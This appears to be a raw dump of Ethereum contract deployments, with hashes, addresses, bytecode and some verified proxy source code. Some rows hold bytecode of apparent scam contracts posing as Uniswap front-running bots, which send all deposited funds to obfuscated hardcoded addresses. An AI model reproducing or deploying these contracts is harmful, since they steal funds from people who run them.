d5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610cd06048913960600191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610c9d6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b6105a1565b905090565b600061041e610419610423565b6105a1565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107fa565b610805565b610a77565b905060006206b72090506000610488610bd2565b905060006205e15b9050600061049c610bdd565b90506000620fe5fc905060006104b0610be8565b9050600062059383905060606104ce896104c98a610805565b610a77565b905060606104ec6104de89610805565b6104e789610805565b610a77565b9050606061050a6104fc88610805565b61050588610805565b610a77565b9050606061052861051a87610805565b61052387610805565b610a77565b905060606105486105398686610a77565b6105438585610a77565b610a77565b9050606061058b6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a77565b9050809e50505050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107ed57610100840293508481815181106105d357fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105f557fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610646575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610656576057830392506106f0565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610694575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156106a4576037830392506106ef565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106e2575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106ee576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561072e575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561073e576057820391506107d8565b60418273ffffffffffffffffffffffffffffffffffffffff161015801561077c575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561078c576037820391506107d7565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156107ca575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107d6576030820391505b5b5b816010840201840193506002810190506105b7565b5082945050505050919050565b600062068269905090565b6060600080905060008390505b600081146108345781806001019250506010818161082c57fe5b049050610812565b60608267ffffffffffffffff8111801561084d57600080fd5b506040519080825280601f01601f1916602001820160405280156108805781602001600182028036833780820191505090505b50905060008090505b838110156108ff576010868161089b57fe5b0692506108a783610bf3565b82600183870303815181106108b857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108f157fe5b049550806001019050610889565b50600081519050600481141561095f5760606109506040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b60038114156109b85760606109a96040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6002811415610a11576060610a026040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6001811415610a6a576060610a5b6040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610a9f57600080fd5b506040519080825280601f01601f191660200182016040528015610ad25781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b5057858281518110610af757fe5b602001015160f81c60f81b838280600101935081518110610b1457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610ae2565b600091505b8451821015610bc357848281518110610b6a57fe5b602001015160f81c60f81b838280600101935081518110610b8757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b55565b82965050505050505092915050565b60006207635b905090565b600062051098905090565b6000620f1cff905090565b60008160ff16600011158015610c0d575060098260ff1611155b15610c4257817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610c97565b8160ff16600a11158015610c5a5750600f8260ff1611155b15610c9257600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610c97565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212200339397acf9f2337487bb10cf8108d61fbf10a3ea066c02aaf6738faf86266e564736f6c634300060600330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610cd06048913960600191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610c9d6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b6105a1565b905090565b600061041e610419610423565b6105a1565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107fa565b610805565b610a77565b905060006206b72090506000610488610bd2565b905060006205e15b9050600061049c610bdd565b90506000620fe5fc905060006104b0610be8565b9050600062059383905060606104ce896104c98a610805565b610a77565b905060606104ec6104de89610805565b6104e789610805565b610a77565b9050606061050a6104fc88610805565b61050588610805565b610a77565b9050606061052861051a87610805565b61052387610805565b610a77565b905060606105486105398686610a77565b6105438585610a77565b610a77565b9050606061058b6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a77565b9050809e50505050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107ed57610100840293508481815181106105d357fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105f557fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610646575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610656576057830392506106f0565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610694575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156106a4576037830392506106ef565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106e2575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106ee576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561072e575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561073e576057820391506107d8565b60418273ffffffffffffffffffffffffffffffffffffffff161015801561077c575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561078c576037820391506107d7565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156107ca575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107d6576030820391505b5b5b816010840201840193506002810190506105b7565b5082945050505050919050565b600062068269905090565b6060600080905060008390505b600081146108345781806001019250506010818161082c57fe5b049050610812565b60608267ffffffffffffffff8111801561084d57600080fd5b506040519080825280601f01601f1916602001820160405280156108805781602001600182028036833780820191505090505b50905060008090505b838110156108ff576010868161089b57fe5b0692506108a783610bf3565b82600183870303815181106108b857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108f157fe5b049550806001019050610889565b50600081519050600481141561095f5760606109506040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b60038114156109b85760606109a96040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6002811415610a11576060610a026040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6001811415610a6a576060610a5b6040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610a9f57600080fd5b506040519080825280601f01601f191660200182016040528015610ad25781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b5057858281518110610af757fe5b602001015160f81c60f81b838280600101935081518110610b1457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610ae2565b600091505b8451821015610bc357848281518110610b6a57fe5b602001015160f81c60f81b838280600101935081518110610b8757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b55565b82965050505050505092915050565b60006207635b905090565b600062051098905090565b6000620f1cff905090565b60008160ff16600011158015610c0d575060098260ff1611155b15610c4257817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610c97565b8160ff16600a11158015610c5a5750600f8260ff1611155b15610c9257600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610c97565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212200339397acf9f2337487bb10cf8108d61fbf10a3ea066c02aaf6738faf86266e564736f6c63430006060033
1	19,499,680	7044a41371f588aecbef03c92b911fafc0581d7dcf623f612cce80fa14f6ca49	db4e0323642ba72e5b62021bff7203d7b56f8e935357ae06d70d1dc00f549fec	f7f8bbb310df9cf0a99b2121c27a9f891507fedb	536384fcd25b576265b6775f383d5ac408ff9db7	06737677af962adbb7391ffefac4f2b1b67358f4	60a060405234801561001057600080fd5b506040516101d43803806101d483398101604081905261002f91610044565b60601b6001600160601b031916608052610072565b600060208284031215610055578081fd5b81516001600160a01b038116811461006b578182fd5b9392505050565b60805160601c61013f610095600039600081816069015260be015261013f6000f3fe6080604052600436106100225760003560e01c80635c60da1b146100ac57610067565b3661006757604080516020808252600090820152339134917f606834f57405380c4fb88d1f4850326ad3885f014bab3b568dfbf7a041eef738910160405180910390a3005b7f00000000000000000000000000000000000000000000000000000000000000003660008037600080366000845af43d6000803e8080156100a7573d6000f35b3d6000fd5b3480156100b857600080fd5b506100e07f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea2646970667358221220b88a14f52e9d465328c9b3ab476e4b7fa40ed3615fd5409a6afc9885366e03a964736f6c63430008030033000000000000000000000000ab00ea153c43575184ff11dd5e713c96be005573	6080604052600436106100225760003560e01c80635c60da1b146100ac57610067565b3661006757604080516020808252600090820152339134917f606834f57405380c4fb88d1f4850326ad3885f014bab3b568dfbf7a041eef738910160405180910390a3005b7f000000000000000000000000ab00ea153c43575184ff11dd5e713c96be0055733660008037600080366000845af43d6000803e8080156100a7573d6000f35b3d6000fd5b3480156100b857600080fd5b506100e07f000000000000000000000000ab00ea153c43575184ff11dd5e713c96be00557381565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea2646970667358221220b88a14f52e9d465328c9b3ab476e4b7fa40ed3615fd5409a6afc9885366e03a964736f6c63430008030033	// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; /** * @title Proxy * @notice Basic proxy that delegates all calls to a fixed implementing contract. * The implementing contract cannot be upgraded. * @author Julien Niset - <julien@argent.xyz> */ contract Proxy { address immutable public implementation; event Received(uint indexed value, address indexed sender, bytes data); constructor(address _implementation) { implementation = _implementation; } fallback() external payable { address target = implementation; // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } receive() external payable { emit Received(msg.value, msg.sender, ""); } }
1	19,499,680	7044a41371f588aecbef03c92b911fafc0581d7dcf623f612cce80fa14f6ca49	b0c846367b05edcdcba1862485aa8cc0201ebb74be1d28bd1b9898bb2d24e882	05d8f136a52b70d90ee08d415e40127e92a879d0	a6b71e26c5e0845f74c812102ca7114b6a896ab2	13b87ab5087612451a50e9e591457f9b078e2f10	608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552	608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033	// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1	19,499,684	e19e4e48f1980011e7a26e3b3431424c9cabbf5563cbedb9ada8672ab4b93b2c	89de5df779d18d9c997d985e0da622e03e6a0bf892fd3e6ecf64b0c1a2f4bbc6	a9a0b8a5e1adca0caccc63a168f053cd3be30808	01cd62ed13d0b666e2a10d13879a763dfd1dab99	4582d85ac7720a28cc0623fc05f8a8ac879673e4	3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
1	19,499,684	e19e4e48f1980011e7a26e3b3431424c9cabbf5563cbedb9ada8672ab4b93b2c	fe49f3e22f3475296eb328b810ce8a70d2cda61257876b8324c663933af00a95	f0d469beb5e29d1fa6712025d6f3347cca9dcd54	f0d469beb5e29d1fa6712025d6f3347cca9dcd54	1ec210e0b9d8d2099d9d199fecbfab957255d544	6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f623d7c7f0e930d8963184340038f9af9ceb8d8c0086007557f6e75382374384e10a7b62f6258695b72d88efc120a7f2e072a8611889b2c2b0c6008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122025a4760fc91e9b553f8a5e1e0dcb2b4bfbb7259dbf8f547193f1393d756c6b1064736f6c63430008070033	6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122025a4760fc91e9b553f8a5e1e0dcb2b4bfbb7259dbf8f547193f1393d756c6b1064736f6c63430008070033
1	19,499,684	e19e4e48f1980011e7a26e3b3431424c9cabbf5563cbedb9ada8672ab4b93b2c	a77e4ee6805cc75d3abfdb754e997258425dd8a111eb9c518c0eb3ccbbc07270	f0d469beb5e29d1fa6712025d6f3347cca9dcd54	f0d469beb5e29d1fa6712025d6f3347cca9dcd54	075757a0243089456a32845a93a140c7f1eeb004	6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f623d7c7f0e930d8963184340038f9af9ceb8d8c0086007557f6e75382374384e10a7b62f6258695b72d88efc120a7f2e072a8611889b2c2b0c6008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122025a4760fc91e9b553f8a5e1e0dcb2b4bfbb7259dbf8f547193f1393d756c6b1064736f6c63430008070033	6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b50359